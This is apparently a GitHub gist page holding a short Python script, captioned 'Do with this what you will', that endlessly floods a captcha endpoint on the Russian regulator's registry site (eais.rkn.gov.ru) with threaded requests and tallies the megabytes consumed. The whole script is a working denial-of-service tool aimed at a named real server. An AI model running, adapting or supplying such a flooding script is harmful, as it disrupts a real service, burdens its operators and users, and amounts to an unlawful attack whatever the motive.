Skip to content

Instantly share code, notes, and snippets.

@meawoppl
Created February 25, 2022 20:57
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save meawoppl/48467e5ffb5a978445b2ae0a58d85560 to your computer and use it in GitHub Desktop.
Save meawoppl/48467e5ffb5a978445b2ae0a58d85560 to your computer and use it in GitHub Desktop.
Do with this what you will
import itertools
import urllib.request
import concurrent.futures
def waste_captca():
return len(urllib.request.urlopen("https://eais.rkn.gov.ru/services/securimage/show/?5ced0981b6c71407228991525572f2e3").read())
wasted_bytes = 0
futs = {}
for i in itertools.count():
with concurrent.futures.ThreadPoolExecutor(max_workers=25) as tpe:
for x in range(10000):
futs[tpe.submit(waste_captca)] = x
print(futs)
for r in concurrent.futures.as_completed(futs):
wasted_bytes += r.result()
print(f"{wasted_bytes / 1e6}MB")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment